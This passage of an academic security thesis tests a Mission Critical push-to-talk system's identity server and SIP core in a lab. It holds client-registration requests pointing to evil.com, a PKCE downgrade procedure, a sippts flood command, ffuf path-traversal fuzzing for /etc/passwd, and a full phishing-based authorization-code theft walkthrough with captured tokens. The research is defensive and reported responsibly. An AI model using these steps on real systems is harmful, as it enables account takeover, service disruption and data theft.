"redirect_uris":
["https://evil.com/callback"],
"client_name": "TS-01",

3

Listing 1: TS_01 - Unprotected Dynamic Client Registration Request

In the event that the IDMS returns a response with status code 201 - Created and some
fields like client_id, client_secret, etc. in its body, then it means that it’s vulnerable and a
new malicious client application has been registered. The misconfiguration lies in the fact
that no ” Authorization” Header has been provided in the request, allowing anyone to

register their client.

Then we can proceed to test if the server is vulnerable to PKCE Downgrade Attack,
using the Proxy and Interceptor functionality of the tool Burpsuite, described in 4.3.3.

The following steps need to be performed in order to test for the vulnerability:

Intercept the authentication request that contains the parameters described in

Table 2.1.

Remove the code_challenge parameter and forward the request.

Forward subsequent requests and stop on the last one to the token endpoint, which

will have parameters listed in Table 2.2.

Remove the ”code_verifier” parameter and observe the response.
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If the response returns a status code of 400 (indicating a ”Bad Request”) accompanied
by an error description such as "Missing code verifier", it is plausible that the IDMS
performs a verification of the parameter’s presence within the request. In such an instance,
it is recommended to attempt to provide the code verifier with a random value and ob-
serve the resulting response. In the event that the server again returns a response with a
status code of 400 (Bad Request) and an error description similar to "PKCE verification
failed", then this indicates that the IDMS is not vulnerable to the PKCE downgrade
attack. Conversely, if the request to the token endpoint is made without supplying the
code_verifier or providing it with a random value and a 200 OK response is returned with
the access token, id token, and other parameters listed in 2.3, this indicates that the IDMS

is vulnerable.

In case the IDMS is vulnerable to the two described misconfigurations, then scenario T'S_01

can be reproduced.

5.5.2 TS 02

Scenario T'S_02 makes use of the Unprotected Dynamic Client Registration, already
described in the previous scenario TS_01 (5.5.1). To test its reproducibility send the
following request to your IDMS registration endpoint

POST /idms/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: idms.example.com

{
"application_type": "web",
"redirect_uris":
["https://evil.com/callback"],
"client_name": "TS-02",

3

Listing 2: TS_02 - Unprotected Dynamic Client Registration Request
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As in TS_01, if the IDMS returns a response with status code 201 - Created and some
fields like client_id, client_secret, etc. in its body, then it means that it’s vulnerable and
a new malicious client application has been registered. In this scenario, the malicious
redirect_uri is still employed but with a different objective. In TS_01 the goal is to steal
the access_token and access resources that require authorization. Meanwhile, in TS_02
the goal is to steal the victim’s username and password and directly access the single-page

web application interface.

5.5.3 TS 03

Scenario TS_03 as well as TS_.01 and TS_02 depends on the Unprotected Dynamic
Client Registration misconfiguration. However, this one exploits the logo_uri param-
eter instead of the previously used redirect uri. As explained in 5.4.1.3, it is chosen a
known location that contains configuration information of databases in production, like
this one https://mcxserver.example.org/config/db-configuration. To test for this
scenario, firstly a new client needs to be registered, using the request below.

POST /idms/register HTTP/1.1

Content-Type: application/json

Accept: application/json
Host: idms.example.com

{
"application_type": "web",
"redirect_uris":
["https://mcx.server/idms/oidc-callback"],
"logo_uri": "https://mcx.server/config/db-configuration",
"client_name": "TS-03",

3

Listing 3: TS_03 - Unprotected Dynamic Client Registration Request
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It can be noted that this time the redirect_uri parameter is set to the legitimate one,
while the logo_uri is set as the endpoint with the configurations of databases, normally

accessible only from services inside the internal network.

Since the logo_uri is optional, now it’s needed to test if the IDMS is using the logo

functionality. This can be done with the following steps
e Go to a web application that uses OIDC, such as Dispatcher or Discrete Listener.
e Perform the login using username and password

o [f after a successful login, one is prompted in front of a page that asks for authorization
to a list of information, similar to the one in 5.1, this indicates that the application
is using the logo_uri to retrieve the logo displayed under the application name, then

scenario T'S_03 can be reproduced.

Dispatcher

@ DISPATCHER

wants to access the following
information

Jgpp:mc:ptt_senvice

Figure 5.1: Example of application that uses logo_uri

77



5.5.4 TS 04

Scenario TS_04 consists of sending a high amount of SIP REGISTER requests for an
extended period to overload and slow down the signaling plane. This can be achieved
using the Sippts tool described in 4.3.3. More specifically the flood functionality of

sippts can do this work with the following command
sippts flood -i <server-ip> -r 5060 -m REGISTER -p tcp

A brief description of the flags is present below:
e -i: specifies the IP address of the SIP server (SIPCore or IMS)
e -r: specifies the remote port (5060 is the default port for SIP servers)

e -m: specifies the SIP method used in the requests, in our case the REGISTER
method was used, but OPTIONS and INVITE are supported.

e -p: specifies the protocol to use (TCP, UDP, and TLS are supported).
Additional flags can be provided to customize the attack, such as:

e -n: specifies the number of requests, if left blank as in our command, the default is

non-stop.

e -b: specifies to send malformed headers that can be used to fuzz and identify bugs

in the request parser.

To verify that the attack is working as expected, the usage of the CPU on the SIPCore/IMS
container can be monitored using tools like htop. In the event that the test is conducted
with a considerable number of users, it is recommended to observe the registration/de-

registration or affiliation/de-affiliation processes to identify any potential slowdowns.
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5.5.5 TS 07

Before testing if the application is vulnerable to Scenario T'S_07, the following steps need

to be performed:

e Login into the Dispatcher web application and grab the access_token which can be

used to access the File Repository services.

e Download a file that can be either stored in the File Repository or sent as an attach-
ment in a message and copy the URL of the request. For instance, we assume that
the URL for such a request is the one below, where the ”file” parameter expects the
id of the requested file. https://mcxserver.example.org/file-repository/down

load?file=<file_id>

Using the tool Ffuf described in 4.3.3, one can effectively test if the server is vulnerable

to Path Traversal with the command below:

ffuf -u 'https://mcxserver.example.org/file-repository/download?file=FUZZ'

-w wordlist.txt -H 'Authorization: Bearer <access_token>'
A brief description of the flags used in the command is provided:

e -u: specifies the full target URL, including parameters.

e -w: specifies the wordlist with the payloads that will be tested. To test for this

scenario, the LFI-Jhaddix! wordlist can be used.

e -H: specifies Headers that will be included in the requests. For instance, we specified
the ” Authorization” header which is mandatory to access functionalities of the

MCData service.

thttps://github.com/danielmiessler /SecLists/blob/master /Fuzzing/LFI/LFI-Jhaddix.txt
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In order to test if one of the payloads worked, some filtering needs to be applied to show
only unique responses. For instance, if all responses return a status code 400 - Bad
Request, we want to isolate these outputs, as it is known that they correspond to a failed
test. Responses can be filtered by providing additional flags to the previous command. An

example of how all responses with status code 400 are excluded is shown below:

ffuf -u 'https://mcxserver.example.org/file-repository/download?file=FUZZ'

-w wordlist.txt -H 'Authorization: Bearer <access_token>' -mc all -fc 400

The filter and matching process can vary considerably between different applications.
Therefore, it is recommended to adapt the command above to suit the specific requirements
of the intended use case. If some responses are shown after enabling filters, it’s very likely
that these are successful payloads, then need to be verified manually. For instance, if the
output of Ffuf exhibits a request comprising the payload ../../../../../../etc/passud
and the status code is 200, indicating a positive outcome, an attempt should be made to
send such a request manually in order to observe the resulting response. If the response
shows the content of the passwd file located in the etc directory, this indicates that the
intended application is vulnerable to TS_07.

5.5.6 TS 08

Scenario T'S_08 does not have precise steps to follow in order to test it, since the names
of paths and URLs can vary across different implementations. This section showcases a
potential alternative in which this misconfiguration could arise. For instance, it is supposed
that the User Equipment zend a request to this URL https://mcxserver.example.org/
bootstrap/init.xml?profile=ue to retrieve the initial configuration document. In this

example, we assume that the content illustrated in Listing 4 is returned in the response.
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<ue-init-config>
<idms-uri>https://mcx.example.com/idms</idms-uri>
<cms-uri> ..
<gms-uri> ..

</ue-init-config>

Listing 4: Example response of UE initial configuration document

If the same method to obtain preliminary data is used, for instance, by the SIPCore,
it can happen that sensitive information is exposed because assumed that the request is
solely initiated by the SIPCore itself and not by an adversary who changes the profile
parameter. Consequently, a request to https://mcxserver.example.org/bootstrap/in
it.xml?profile=sipcore may return the following content with credentials of the SIP

database described in 2.2.2.4.

<sipcore-config>
<P-CSCF-uri>p-cscf@example.org</P-CSCF-uri>
<db-credentials>
<username>testuser</username>
<password>testpassword</password>
</db-credentials>
</sipcore-config>

Listing 5: Example response of configuration document with sensitive information

As said at the beginning of the section, the testing phase can vary across Mission-Critical
applications. In the case that the Bootstrap service is implemented as a web server, the
advice is to collect paths and parameters used for the bootstrap procedure in one or
more wordlists and fuzz through them. To correctly perform the test is recommended to
omit the ” Authorization” header and observe responses with status codes different from
401, 403, and 404, respectively indicating Unauthorized, Forbidden, and Not Found. As in
the previous scenario TS_07 it’s very likely that filtering and matching need to be applied

to isolate only meaningful responses.
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Chapter 6

Experimental evaluation

This chapter will demonstrate how an attacker located in the Public Network as outlined
in Section 5.1 can reproduce the scenario TS_01 described in 5.4.1.1. In the previous
chapter, Section 5.5 demonstrated how to test whether such a scenario can be reproduced
or not. In this section, we will instead present a detailed account of how to perform the
full attack, still making use of the misconfigurations described in section 5.4. The reason
behind the choice of demonstrating this attack is related to the fact that it is the most
complex one as it requires human interaction, exploits more than one misconfiguration,
and has a high impact in terms of resources that can be accessed. The chapter starts with

an initial reconnaissance phase and then presents the attack demonstration.

6.1 Ethical Considerations

The exploration of the system and the practical attack presented in this chapter have
been conducted on a development version of MCXPTT, used only in laboratory settings
and for testing purposes. The work has been done under the supervision of the Cyber
Security team of the Leonardo Cyber Security R&D Laboratory, which is an authorized
and closed environment. The identified misconfigurations were duly reported, following
company regulations, to the development team, with whom we communicated throughout
the process. The issues were promptly addressed and resolved. Additionally, we have
notified a possible update to the 3GPP, that can help to maintain completeness of technical

specification documents and avoid misconfigurations raised due to standard’s lack of detail.
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6.2 Reconnaissance

The description of the scenario, presented in Section 5.4.1.1, mentions the usage of Un-
protected Dynamic Client Registration misconfiguration, outlined in Section 5.4.1,
that allows an attacker to register a malicious client using the registration endpoint.
Apriori, the attacker doesn’t know the precise location of such an endpoint, but this can

be retrieved easily with the following steps:

1. Using the tool Nmap outlined in Section 4.3.3, discover the port where the SIP-

Core/IMS is running with the command in Figure 6.1

Starting Nmap 7.860 ( https://nmap.org ) at 2024-09-63 11:17 CEST
Nmap scan report for 192.168.7.10
Host is up (0.00062s latency).

PORT STATE SERVICE
5060 /tcp open sip

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

.

Figure 6.1: SIPCore port discovery

In our scenario, the SIPCore is running on port 5060, which is shown to be opened

and running the SIP service.

2. Using the tool Sippts, outlined in Section 4.3.3, launch a scan against the SIPCore

using a REGISTER message. Figure 6.2 shows an example command to do so
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alll aCAll

il
-
L 4
[“] IP/Network:

[¥] Port range:

[¥] Protocols:

[ ] Method to scan:
[¥] Used threads:

Figure 6.2: Sippts scan command

Since the SIP protocol can flow on TCP, UDP, and TLS, the scan is run using all

supported protocols in order to miss false negatives.

Sippts sent a REGISTER request and received a response from the SIPCore. The

conversation is showed below in Figure 6.3
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[+] Sending to 192.168.7.10:5060/TCP ...
GISTE

{E, NOTIFY, REFER, OPTIONS, , SU IBE, UPDATE, PRAC

[-] Receiving from 192.168.7.10:5060/TCP ...

Figure 6.3: Sippts REGISTER request & response

As expected, the response returns a 401 Unauthorized, but there’s an interesting
Header WWW-Authenticate that occurs two times and in its first occurrence con-
tains a paramter authz equal to this endpoint https://<IP-Address>/idms/.well
-known/openid-configuration. This endpoint is known as the OIDC discovery
url and its exposure is not a misconfiguration, indeed it is used by authentication
libraries and relying parties to discover authentication URLs, public signing keys,
and other service metadata. Visiting this endpoint will reveal the location of the

registration endpoint as illustrated in Figure 6.4
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"code_challenge methods _supported™: [
"52556"
1.
"end_session_endpoint™: “https://192.168.7.10:443/idms/sessionfend”,
"grant types supported™: [
"implicit™,
"authorization_code”,
"refresh_ token",
"urn:ietf:params:oauth:grant-type:device code”

1
"id token signing alg values supported”: [
E.I »

ma 9|

Lo L

N

fd 3 P
LA
=4}

LA
h

1

"issuer”: "http://localhost:3181",

"Jwks_uri”: "https://192.168.7.18:443/idms/ jwks",
"registration_endpoint™: “https://192.168.7.18:443/idms/reg",

Figure 6.4: Registration endpoint discovery

Once the registration endpoint has been identified, the reconnaissance phase is complete,
and we can proceed to describe the attack. It should be noted that this is not the sole
method for discovering the registration endpoint; however, we believe it is the most stealthy,
as it involves only a few requests, rather than fuzzing, which generates a considerable

amount of "noise.”

6.3 Attack Demonstration

The first step of the attack is to register a new client with a malicious redirect_uri that
corresponds to the IP address of the attacker. This is done by exploiting the Unpro-
tected Dynamic Client Registration misconfiguration described in Section 5.4.1. The
request in Figure 6.5 shows the registration of a client with a redirect_uri that points
to the attacker’s machine. It should be noted that the field of the IP address registered
as redirect_uri, corresponds to the IP address of the attacker’s machine illustrated in

Figure 4.1.
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Request
Pretty ~ Raw  Hex ®RB@wn =
1 POST /idms/reg HTTP/2

T IENETEN]

Host: 162.168.7.10:443
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";
Sec-ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Linux"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) AppleWlebKit/537.36 (KHTML, like
Gecko) chrome/124.0.6367.60 safari/s37.36

9", "Chromium';v="124"

) Accept:

0 Sec-Fetch-Site:

; Accept-Language:
5 Priority: u=o, i

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif,image /webp, image/apng, */+
59=0.8, application/signed-exchange; v=b3;4=0.7

none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

en-Us,en;q=0.9

Content-Type: application/json

& Content-Length: 149

i
vredirect_uris":[
*http://192.168.7.241"
1.
"logo_uri":

"http://192.168.7.10:16077/internal/config/additions/serviceboot.xml?id=kms.test.org

Response
Pretty ~ Raw  Hex o=
11 X-Download-Options: noopen
12 X-Content-Type-Options: nosniff
12 X-Permitted-Cross-Demain-Policies: none
14 Referrer-pPolicy: no-referrer
15 X-¥ss-Protection: O

16

Pragma: no-cache
Cache-Control: no-cache, no-store
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includesubdomains; preload
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' http: https: data: blob: 'unsafe-inline'
{

vapplication_type® :"web",

"grant_types": [

"authorization_code"

*id_token_signed_response_alg":"Rs256",
"post_logout_redirect uris":[
1
"require_auth_time":false,
" response_types® : [

"code!
1.
"subject_type":"public",
"token_endpoint_auth_method":"client_secret_basic",
"introspection_endpoint_auth_method":"client_secret_basic',
" revocation_endpoint_auth_method":"client_secret_basic',
"require_signed_request _object":false,
"request_uris":[

"client_id_issued_at":1716303145,

"client_id":"mlRtIWDrWmSg7uBcONA_N",

"client_secret_expires at":0,

"client_secret':

" 1GGO- ] edC6e001 367E2untgWOpGPo 1TeXOOFMFGF 1FyRSLIEVEI 1] 2M7bf oRctD7eEpBaVVs]aXeNyOTSLASA"

“Logo_uri®:
"http://192.168.7.10:16077/internal /config/additions/serviceboot . xml7id=kms. test.org",
"redirect_uris":[
"http://192.168.7.241"
1,

Figure 6.5: Client Registration with malicious redirect_uri

After the registration, it is recommended to grab the values of client_id, client_secret, and

redirect_uri, which will be used in further steps.

The next phase is referred to as the effective attack and since it’s composed of several

steps, a Flow Diagram of such an attack is illustrated in Figure 6.6.
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Dispatcher

Y

00O

dispatcher

Cancel Connect

’ client_id=evil&redirect_uri=evil.com

LocalStorage

Evil User

A

1) Click "Connect” | code_verifier=xyzwk.

Save code_verifier

Authentication
Request

6) Token Response

access_token: zHkjsnsYU..
id_token: eyJaiucnmxkx..

}

2) Deliver malicious redirect_uri

https://dispatcher.foo?client_id=evil&redirect_uri=evil.com..

WV Dispatcher
3) Login
— >
Dispatcher | username |
User
| password |

00O

POST /idms/interaction/foo/login

Figure 6.6: Attack Flow Diagram
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The description of each step is provided below:

1. The attacker initiates the OAuth flow by clicking the ”Connect” button, intercepts
the Authentication request using the tool Burpsuite and substitutes the client_id
and redirect_uri parameters with the ones belonging to the malicious client reg-
istered before. The client_id of the malicious client is m1RtJWDrWm5q7uBcON4_N and
the redirect_uri is http://192.168.7.241, then the tampered request is the one in
Figure 6.7.

Burp Suite Community Edition v2024.3.1.3 - Temporary Project
Bup Project Intruder Repeater View Help
Dashboard ~ Target P Collaborator ~ Sequencer  Intruder  Repeater  Decoder ~ Comparer  Logger  Organizer  Extensions  Leam  JWT Editor
HTTP history ~ WebSockets history £ Proxy settings

/P [ Request to hitps://192.168.7.10:4443

Forward Drop Action Open browser

Pretty Raw  Hex  JSON Web Token = n o=

1 GET /idms/auth?client_id=mlRtJWDrwmSq7uBcONA_N&redirect_uri=http://192.168.7.2416response_type=code&scope=
openids200ffline_accesss203gppes3Amcs3aptt_services203gpp%3amct3Avideo_service%203gpp3Amci3adata_services203gpp%s3amcs3aptt_key management_service%s203gpp%3amcs3avidec_key management_servic
€%203gpp%3Anc3Adata_key_management_service%203gpp%3Amci3aAptt_config_management_service%203gpp%3Amci3Avidec_config_management_service%203gpp%3amct3Adata_config_management_service%s203gpp%3
Amc%3Aptt_group_management_service%203gppi3Amcts3Avideo_group_management_service%203gpp%3Amci3Adata_group_management_service%s203gpp%s3Amct3Alocation_management_servicedstate=
4f 96b75b8014487397h47ed5da7849f 48code_challenge=LARTMCGE790CY ousbl4nOmOlo1jJaNSLAYRp4- XTrYcicode_challenge_method=S256&prompt=logint20consentéresponse_mode=query HTTP/2

> Host: 192.168.7.10:4443

Figure 6.7: Tampered authentication request

Before proceeding with step 2, the attacker must collect the code verifier. To do
so exploits the fact that some information is stored in an accessible location, like the
Browser’s LocalStorage, as explained in Section 5.4.1.1. Therefore, the attacker
grabs the value of the code_verifier and saves it for the last step. Figure 6.8 shows
the LocalStorage with the generated code verifier. The attacker then copies the

URL of the tampered request and drops such request.
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http://192.168.7.241

Sources  MNetwork Performance Memaory Application Security Lighthouse DOM Invader

C |[Filter @ x
https://192.168.7.10:4443
Origin  https:/f192.168.7.10:4443

Key
0idc.817de890243544aFaa887b7e32e43F51
mecpkt_webapp_oidc_configs
mcptt_device_id

¥ {id: "B17de898243544aT3aB887h7e32e43T51", created: 1716384544, request_type: "si:r", .}
authority: "https://192.168.7.1@:4443/idms"
client_id: "web"
client_secret: "9ff9cf45-48bf-4642-8b6b-1b32e32f504c"
Icode_uerifier: "dlblba321e914chbd9e447a21affafbcObd7fhl1a2c634ele85T0d3a2b0a04a64805d06a40b10413498d7fccfE5ba3610"
created: 1716384544
extraTokenParams: {}
id: "817deB%0243544afaaBB7b7e32e43F51"
redirect_uri: "https://192.168.7.1@:4443/oidc-ch”
request_type: "sir"
response_mode: "query”

4

Figure 6.8: LocalStorage with code_verifier

2. The request’s URL with the poisoned parameters is delivered to the victim, for
instance using some Social Engineering vector. Once, the victim opens the link, is
prompted with the login page that asks for a username and password. The login

form is showed in Figure 6.9
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192.168.7.10

o

w~ LEONARDO

Figure 6.9: IDMS login form

3. The victim provides a username and password and clicks the ”Log-in” button to

confirm.

4. The flow proceeds with the authentication response. During this step, the at-
tacker is hosting a fake page resembling the original application, that displays a
generic error message, saying that the login was not successful. The IDMS redi-
rects the victim to the attacker’s page due to the poisoned redirect_uri, to which
the authorization code has been sent. To host the fake page and collect the
authorization_code, it was used the Apache2 HTTP Server tool described in
Section 4.3.3. The attacker can easily recover the code by observing the request

parameters from the Apache2 access-log file. Figure 6.10 shows the fake page with

91



a generic error "Network Error. Please try again.”, that does not arouse particular
suspicion and will force the victim to go back to the initial page. It should be noted
that Figure 6.9 and Figure 6.10 seem equal but differ on the IP address, indeed
the first one has IP 192.168.7.10, which is the MC VM, while the latter has IP
192.168.7.241, which corresponds to the attacker’s machine.

QO & 192.168.7.241

=

“~ LEONARDO

Cancel Log-in

Network Error. Please try again

Figure 6.10: Fake page with Network Error

Figure 6.11 shows the request with the authorization_code sent from the IDMS to

the attacker’s server and logged in the Apache2 access-log file.

it/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36"

GET / HTTP,:'l 1" 200 1257 http //192.168.7.241/?code=Vsv81ZKWbCDOWVBe - 21BBROKB- y4VJIOMOrs78Cnvvl&st

Figure 6.11: Request with authorization_code sent to attacker’s server
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5. The attacker who has collected a valid authorization_code and a valid code_verifier,

can obtain access_token, id_token etc., by making a POST request to the token

endpoint.

Figure 6.12 shows the token request made by the attacker using the

code_verifier saved in Step 1 and the authorization _code obtained in the previ-

ous step, together with the token response containing the access_token, id_token,

expiration time, etc.

-

POST /idms/token HTTP/2
Host: 192.168.7.10:443 2
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="959", "Chromium";v="124" 4
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.38 (KHTML, like
Gecko) Chrome/124.0.6367.60 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,1image/avif,image/webp,image/apng, */+
;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none 10

Sec-Fetch-Mode: navigate 11
Sec-Fetch-User: 71 12
Sec-Fetch-Dest: document 13

Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Priority: u=0, 1

Content-Type: application/x-www-form-urlencoded
Content-Length: 377

client_id=mlRtJWDrWmSq7uBcONA_N&client_secret=

1GGO- jedCB2001397E2UntgWOpGPo 1TeXOQFMFg T 1FyRSLIEVIf I 2M7bf oRctD7eEpBaVys] aXeNvOTSLASAG
redirect_uri=http://192.168.7.241&code=Vsv8LZKWbcDOWVESE - 21 BBROKE- y4VJOMOrs78cnvvle
code_verifier=

d1b1lba321e914chdoed47a21af fafbeobd7fbl1a2c634e1e85f 5d3a2b0andas548b5d06a40b1b413498d7f cef 65
bc351lb&application_type=web&grant_type=authorization_code

24

HTTR/2 200 OK

Server: nginx

2 Date: Wed, 22 May 2024 13:35:29 GMT

Content-Type: application/json; charset=utf-s

Content-Length: 1331

Content-Security-Policy: default-src 'self';base-uri
'self';block-all-mixed-content;font-src 'self' https: data:;frame-
'self' data:;object-src 'none';script-src 'self';script-src-attr
https: 'unsafe-inline';upgrade-ilnsecure-requests
X-Dns-Prefetch-control: off

5 Expect-Ct: max-age=0
o X-Frame-Options: SAMEORIGIN

Strict-Transport-Securlty: max-age=15552000; includeSubDomains
X-Download-Options: noopen

X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: none

Referrer-Policy: no-referrer

= X-Xss-Protection: 0

5 Vary: Origin

7 Pragma: no-cache

g Cache-Control: no-cache, no-store
o X-Frame-Options: DENY

Strict-Transport-Security: max-age=31536000; includeSubdomains; pr
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' http: https: data: blo

{
"access_token" : "YUwaN8bSSAXONWUIPOI qSVFwABASEdeR2SNAmzbKIOL" ,
"explres_1n":3600,
"id_token":
" ayJhbGei 01 J5UZT INI TSTRRSCCT BT kpXVCT STmtpZCT STNT T G1 QmezOTT 1UmT
353gwdmIpNmLf S2M1fQ. eyJzdWI 101 I IMDEQT 1wl bWhwdHRT aWQ1 01 JzaXA6Zmxh
dHk1 01 ImbGEL LCIk aXNwh GFSX2ShbwUL 01 J mb GELLCJ 1 2Vy X3RSCGUL 0L JkaXhiw
TjoxNzE2MzgONzk 2L CIhdFO0Y XNoT j 01 b1VHV1 LrNEXZUHI L UNaNUpnGo 3dyT s
cTd1GmINPT j RFT1 TSTmY4cCT 6MT XN MAODUYOSwi aWFOT j oxNzE2MzqO0T TS CIp

Figure 6.12: Token request sent by the attacker & response from IDMS

The attacker has obtained an access_token that can be used to access lots of re-

sources on behalf of the victim. The list of resources corresponds to documents

containing sensitive information, provided by the CMS, GMS, and other server enti-

ties, APIs used by the functionalities of the Control Room application (Dispatcher),

such as retrieving location information for all users and potential information or

functionalities provided by application-specific components.
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Chapter 7

Discussion

In this work, we delved into the 3GPP standards for Mission Critical (MC) communication
systems, which are very extensive and detailed. The main focus was identifying the key
security aspects, priorities, and technologies that need attention in these systems. The
descriptions provided in Section 2.2 and Section 2.3 were not considered as a contribution
but can still be useful as they consolidate information from various 3GPP documents into
a single chapter. Since these documents are not easy to piece together without prior
familiarity, this work can help accelerate the learning process for future students who wish
to delve into the field of Mission Critical systems. Next, we provided the architecture of
a fully functional testbed, set up to conduct the exploration of our MC system, which
due to its modularity, can be used to perform tests on other MC applications by simply
changing the SUT highlighted in Figure 4.1. One of the core contributions of this work
is the development of threat scenarios based on insights from both 3GPP technical
documents and practical experience gained while testing a real-world enterprise MC system.
Additionally, we provided a testing guide that aims to give visual examples of how some
of the proposed scenarios, previously described by words, can be evaluated using the tools
listed in Section 4.3.3. The exploration process yielded two potential vulnerabilities in the
3GPP TS 33.180 - Security of the Mission Critical service document, that may arise due
to omissions on security aspects related to OpenlD Connect, implemented in the IDMS,

and involved during the MCX User Authentication procedure.
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Particularly, we identified that updates on the Client registration process and the PKCE
extension, mandatorily required for MCX clients fitting the Native application profile,
would provide completeness to the TS document and would help developers avoid common
misconfiguration that can harm users in the system. The motivations that led us to this

outcome are described below.

Client Registration - The client registration described in TS 33.180 [9] - Annex B.3
quotes the following sentence: ”Before a client can obtain ID tokens and access
tokens (required to access MCX resource servers) it shall first be registered with the
IdM server of the service provider as required by OpenlID Connect 1.0. The method
by which this is done is not specified by this profile”. Since a new client can
be registered via the client registration endpoint as explained in Section 2.4.6, there is
the possibility that the IDMS is vulnerable to the Unprotected Dynamic Client
Registration, explained in this work in Section 5.4.1, which could be abused to
register new client applications with malicious purposes. For this reason, we think
that it would be worth mentioning this type of vulnerability in the T'S document
and providing guidelines on either disabling the registration endpoint or enforcing

the presence of an access token in the client registration request.

PKCE extension - In Section 2.4.4 it was outlined that MCX Native Clients must utilize
the authorization code grant type with the PKCE extension for enhanced security.
Therefore, as presented in Table 2.1, the code_challenge parameter is mandatorily
required in the authentication request. We think that it would be worth mentioning
the possibility of the PKCE Downgrade Attack, introduced in the 16th version
of the OAuth 2.0 Security Best Current Practice and described in our work in Sec-
tion 5.4.1.1, as it could help developers to ensure that if there was no code_challenge
in the authorization request, the final request to the token endpoint must be rejected,

even if it contains the code_verifier.
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Chapter 8

Conclusion

This document provides an introduction regarding the evolution of Mission Critical com-
munications and an overview of various use cases where they are implied. The introduction
includes also the motivation and the contributions brought in this work. Next, we pro-
vided the necessary background to understand the main components and points of contact
that make up the functional architecture of this type of system, as well as standard pro-
cedures and flows involved in the lifecycle of client/server interactions. The background
also describes the principal key points of the STRIDE threat model, used to map threat
scenarios identified in the analysis. The proposed work presented the testbed, used in our
laboratory, which allowed us to study a real implementation of a Mission Critical system
and conduct tests on it. We also highlighted the value of such a testbed, which can be
used by other vendors who want to perform tests on their system and may need help with
a possible starting architecture or necessary security tools. In the last two chapters, we
presented the main contribution of this work, which gives an initial overview, a subsequent
detailed description, and a testing guide of some threat scenarios based on a deep study of
3GPP Technical documents, combined with a practical exploration of an enterprise Mission
Critical system. These scenarios target components and functionalities that will be imple-
mented or very likely to be implemented in every application, therefore being useful for
other vendors that want to test their systems. We also revealed that some aspects regard-
ing the main document for the security of the Mission Critical service could be enhanced,

avoiding potential misconfiguration introduced by the standard’s lack of detail.
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8.1 Future Works

Currently, the Mission Critical domain is still relatively unexplored, particularly in the
security context, leaving a considerable scope for future research. Due to the complexity
of this type of application, interactions between two Mission-Critical systems, which may
occur within the same domain or in a remote domain, were not examined in this study.
The present study did not examine interactions over the N5 interface, between the Mission-
Critical application and the PCF Network Function situated within the 5G core network.
It would be necessary to explore much more in-depth the potential threats introduced by a
stolen device, which in this work has been approximately analyzed due to time constraints.
Additionally, the 3GPP standard occasionally indicates that confidentiality protection is
not required for specific traffic when the underlying access network provides it, therefore
it would be worthwhile to investigate scenarios involving False Base Stations. An example
of such a statement can be found in ETSI [10], Chapter 7.2, NOTE 5, which states,
"The P-CSCF may be configured to never apply confidentiality, e.g., because it trusts the
encryption provided by the underlying access network”. Since it is widely understood that
encryption requires computation, which can lead to slower processing speeds, it would be
interesting to conduct research on a system with a high user volume to identify the types

of protection that are likely to be disabled due to the overhead they introduce.
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